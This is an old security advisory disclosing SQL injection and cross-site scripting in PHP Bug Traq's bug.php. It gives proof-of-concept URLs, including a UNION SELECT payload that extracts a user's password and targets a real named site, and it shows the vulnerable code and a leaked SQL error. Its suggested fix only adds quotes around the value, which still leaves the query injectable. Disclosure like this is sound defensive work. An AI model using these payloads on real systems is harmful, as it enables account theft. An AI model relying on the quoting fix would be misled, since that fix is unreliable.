SQL Injection in phpBT (bug.php)

2004-11-13T00:00:00
ID SECURITYVULNS:DOC:7176
Type securityvulns
Reporter Securityvulns
Modified 2004-11-13T00:00:00

Description

_ _ _ _
| | | | | _ \ | |
| |
| |
_ | | | | _ __| | __ | _ |/ _ \ \ /\ / / | | | / ` | '| |/ / | | | | () \ V V / | |/ / (| | | | < \| |_/\/ \/\/ |/ \,|| ||\_\ http://www.howdark.com


// Information

Author: How Dark Date: November 13, 2004 URL: http://www.howdark.com

Affected Software: PHP Bug Traq Software Version: 0.9.1 Software URL: http://phpbt.sourceforge.net/

Attack: SQL Injection, allowing people to minipulate the query into pulling data they should not previously be able too obtain. (Such as passwords)

                    XSS, cross site scripting leaving cookie data to vunerable.

Description: bug_id variable is left open. xss on display of id.


xxx


// Description

For viewing the votes placed on a bug, the bug_id variable is left open.


xxx


// URL

bug.php?op=viewvotes bug.php?op=viewvotes&bugid=1 union select 1,2,3/ bug.php?op=viewvotes&bugid=1 union select 1,2,3/%20 XSS here http://www.phpbb.com/bugs/bug.php?op=viewvotes&bugid=1 union select 1,user_password,3 where user_id='2'/*


xxx


// Code

[ Line 29 - 37 ]

    function vote_view&#40;$bug_id&#41; {
            global $u, $db, $t, $STRING;

            $t-&gt;assign&#40;&#39;votes&#39;, $db-&gt;getAll&#40;&#39;select login, v.created_date &#39;.
                    &#39;from &#39;.TBL_AUTH_USER.&#39; u, &#39;.TBL_BUG_VOTE.&quot; v &quot;.
                    &quot;where u.user_id = v.user_id and bug_id = $bug_id &quot;.
                    &#39;order by v.created_date&#39;&#41;&#41;;
            $t-&gt;wrap&#40;&#39;bugvotes.html&#39;, &#39;bugvotes&#39;&#41;;
    }

// Code

xxx


// SQL Error

DB Error: syntax error SELECT u.user_id, username as login, v.created_date FROM phpbb_users u, phpbt_bug_vote v WHERE u.user_id = v.user_id AND bug_id = 2864' ORDER BY v.created_date [nativecode=1064 ** You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY v.created_date' at line 1]


xxx


// Fix

Find: [ Line 34 ] "where u.user_id = v.user_id and bug_id = $bug_id ". Replace: [ Line 34 ] "where u.user_id = v.user_id and bug_id = '$bug_id' ".


xxx

;eof